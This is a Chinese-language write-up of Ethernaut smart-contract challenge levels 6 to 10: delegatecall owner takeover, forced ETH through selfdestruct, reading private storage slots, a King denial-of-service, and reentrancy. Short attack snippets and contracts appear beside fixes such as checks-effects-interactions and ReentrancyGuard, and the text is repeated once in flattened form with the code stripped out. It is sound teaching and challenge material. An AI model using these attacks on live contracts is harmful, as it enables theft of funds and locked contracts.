Ethernaut_WP(6-10)
字数 1976 2025-08-29 22:41:24

Ethernaut 智能合约安全挑战解析(6-10关)

第六关:Delegatecall 漏洞

合约分析

本关包含两个合约:

  • Delegate:基础合约
  • Delegation:代理合约,使用 delegatecall 调用 Delegate 的功能

关键点:

  • Delegation 合约的 fallback() 函数使用 delegatecall 调用 Delegate 合约
  • delegatecall 在调用者(Delegation)的存储上下文中执行目标合约(Delegate)的代码
  • msg.sendermsg.value 保持不变

delegatecall 特性

  1. 目标合约代码在调用者上下文中执行(继承调用合约的存储布局)
  2. msg.sendermsg.value 不变
  3. 存储变量顺序不同可能导致存储冲突和安全漏洞

攻击方法

通过调用 Delegation 合约中不存在的函数触发 fallback(),使用 delegatecall 执行 Delegatepwn() 函数来修改 Delegationowner

攻击代码示例:

// 调用不存在的函数触发 fallback
await contract.sendTransaction({
  data: web3.utils.keccak256("pwn()").substring(0, 10)
});

修复方案

  1. 限制 fallback 调用

    modifier onlyOwner {
      require(msg.sender == owner);
      _;
    }
    
    fallback() external payable onlyOwner {
      // ...
    }
    
  2. 避免代理不受信任合约

    • 直接调用 delegate.pwn() 而非使用 delegatecall
  3. 使用 OpenZeppelin 的 Ownable

    • 继承 Ownable 合约提供 onlyOwner 保护
    • 使用 transferOwnership(newOwner) 安全转移所有权

第七关:强制转账

关键知识点

  • selfdestruct 是强制向合约转账的特殊方法
  • 即使合约没有 payable 修饰符或 receive/fallback 函数,selfdestruct 也能强制转账

接收 ETH 的方式对比

方式 触发条件 需要 payable 说明
receive() 仅接受无数据的 ETH 交易 推荐方式
fallback() 带数据的 ETH 交易或无 receive() 时 后备方案
selfdestruct() 另一个合约 selfdestruct(this) 强制发送 ETH
delegatecall 目标合约可接收 ETH 间接接收
block.coinbase 矿工奖励 特殊情况

攻击方法

创建攻击合约并调用 selfdestruct 强制向目标合约转账:

contract Attacker {
    constructor(address payable target) payable {
        selfdestruct(target);
    }
}

第八关:私有变量读取

存储结构

  • Solidity 有四个存储区域:Storage、Memory、Calldata、Stack
  • 私有变量仍然存储在链上,可以通过存储槽访问

存储规则

  1. 状态变量按声明顺序分配存储槽
  2. 第一个变量存储在 slot 0,第二个在 slot 1,依此类推
  3. 小于 32 字节的连续变量可能打包到同一槽中

攻击方法

通过 web3.eth.getStorageAt 读取私有变量:

web3.eth.getStorageAt(contract.address, 1, function(x, y) {
  alert(web3.toAscii(y))
})

修复方案

  1. 存储哈希值而非明文

    bytes32 private passwordHash;
    
    function unlock(bytes32 _password) public {
        require(keccak256(abi.encodePacked(_password)) == passwordHash);
        // ...
    }
    
  2. commit-reveal 方案

    • 用户先提交密码哈希
    • 再提交密码进行验证
  3. 链下存储

    • 将敏感数据存储在服务器或 IPFS 上

第九关:拒绝服务

攻击思路

成为 king 后,在接收 ETH 的回调中 revert 交易,阻止后续转账成功。

攻击合约示例:

contract Attacker {
    function attack(address payable target) public payable {
        // 成为 king
        target.call{value: msg.value}("");
    }
    
    receive() external payable {
        revert(); // 拒绝后续转账
    }
}

第十关:重入攻击

漏洞分析

合约存在经典的重入漏洞:

function withdraw() public {
    if(balances[msg.sender] > 0) {
        (bool result,) = msg.sender.call{value: balances[msg.sender]}("");
        if(result) {
            balances[msg.sender] = 0;
        }
    }
}

问题在于先转账后更新余额,攻击者可以在转账回调中再次调用 withdraw

攻击流程

  1. 攻击合约调用 withdraw
  2. 目标合约转账给攻击合约
  3. 攻击合约的 receive 函数再次调用 withdraw
  4. 重复直到合约资金耗尽

修复方案

检查-生效-交互模式

function withdraw() public {
    uint256 amount = balances[msg.sender];
    require(amount > 0, "No balance");
    
    // 先更新状态
    balances[msg.sender] = 0;
    
    // 再交互
    (bool success, ) = msg.sender.call{value: amount}("");
    require(success, "Transfer failed");
}

防御措施

  1. 使用互斥锁(ReentrancyGuard)
  2. 遵循"检查-生效-交互"模式
  3. 限制外部调用后的操作
  4. 使用 OpenZeppelin 的 ReentrancyGuard 合约

总结

这五关涵盖了智能合约安全中的多个关键漏洞:

  1. delegatecall 的存储上下文问题
  2. selfdestruct 的强制转账特性
  3. 私有变量的链上存储特性
  4. 拒绝服务攻击
  5. 经典的重入攻击

开发者应特别注意:

  • 谨慎使用低级调用(delegatecall/call)
  • 不要假设私有变量真的私有
  • 遵循"检查-生效-交互"模式
  • 考虑所有可能的执行路径
  • 使用经过验证的安全模式(如 ReentrancyGuard)
Ethernaut 智能合约安全挑战解析(6-10关) 第六关:Delegatecall 漏洞 合约分析 本关包含两个合约: Delegate :基础合约 Delegation :代理合约,使用 delegatecall 调用 Delegate 的功能 关键点: Delegation 合约的 fallback() 函数使用 delegatecall 调用 Delegate 合约 delegatecall 在调用者(Delegation)的存储上下文中执行目标合约(Delegate)的代码 msg.sender 和 msg.value 保持不变 delegatecall 特性 目标合约代码在调用者上下文中执行(继承调用合约的存储布局) msg.sender 和 msg.value 不变 存储变量顺序不同可能导致存储冲突和安全漏洞 攻击方法 通过调用 Delegation 合约中不存在的函数触发 fallback() ,使用 delegatecall 执行 Delegate 的 pwn() 函数来修改 Delegation 的 owner 。 攻击代码示例: 修复方案 限制 fallback 调用 : 避免代理不受信任合约 : 直接调用 delegate.pwn() 而非使用 delegatecall 使用 OpenZeppelin 的 Ownable : 继承 Ownable 合约提供 onlyOwner 保护 使用 transferOwnership(newOwner) 安全转移所有权 第七关:强制转账 关键知识点 selfdestruct 是强制向合约转账的特殊方法 即使合约没有 payable 修饰符或 receive / fallback 函数, selfdestruct 也能强制转账 接收 ETH 的方式对比 | 方式 | 触发条件 | 需要 payable | 说明 | |------|----------|--------------|------| | receive() | 仅接受无数据的 ETH 交易 | ✅ | 推荐方式 | | fallback() | 带数据的 ETH 交易或无 receive() 时 | ✅ | 后备方案 | | selfdestruct() | 另一个合约 selfdestruct(this) | ❌ | 强制发送 ETH | | delegatecall | 目标合约可接收 ETH | ✅ | 间接接收 | | block.coinbase | 矿工奖励 | ❌ | 特殊情况 | 攻击方法 创建攻击合约并调用 selfdestruct 强制向目标合约转账: 第八关:私有变量读取 存储结构 Solidity 有四个存储区域:Storage、Memory、Calldata、Stack 私有变量仍然存储在链上,可以通过存储槽访问 存储规则 状态变量按声明顺序分配存储槽 第一个变量存储在 slot 0,第二个在 slot 1,依此类推 小于 32 字节的连续变量可能打包到同一槽中 攻击方法 通过 web3.eth.getStorageAt 读取私有变量: 修复方案 存储哈希值而非明文 : commit-reveal 方案 : 用户先提交密码哈希 再提交密码进行验证 链下存储 : 将敏感数据存储在服务器或 IPFS 上 第九关:拒绝服务 攻击思路 成为 king 后,在接收 ETH 的回调中 revert 交易,阻止后续转账成功。 攻击合约示例: 第十关:重入攻击 漏洞分析 合约存在经典的重入漏洞: 问题在于先转账后更新余额,攻击者可以在转账回调中再次调用 withdraw 。 攻击流程 攻击合约调用 withdraw 目标合约转账给攻击合约 攻击合约的 receive 函数再次调用 withdraw 重复直到合约资金耗尽 修复方案 检查-生效-交互模式 : 防御措施 使用互斥锁(ReentrancyGuard) 遵循"检查-生效-交互"模式 限制外部调用后的操作 使用 OpenZeppelin 的 ReentrancyGuard 合约 总结 这五关涵盖了智能合约安全中的多个关键漏洞: delegatecall 的存储上下文问题 selfdestruct 的强制转账特性 私有变量的链上存储特性 拒绝服务攻击 经典的重入攻击 开发者应特别注意: 谨慎使用低级调用(delegatecall/call) 不要假设私有变量真的私有 遵循"检查-生效-交互"模式 考虑所有可能的执行路径 使用经过验证的安全模式(如 ReentrancyGuard)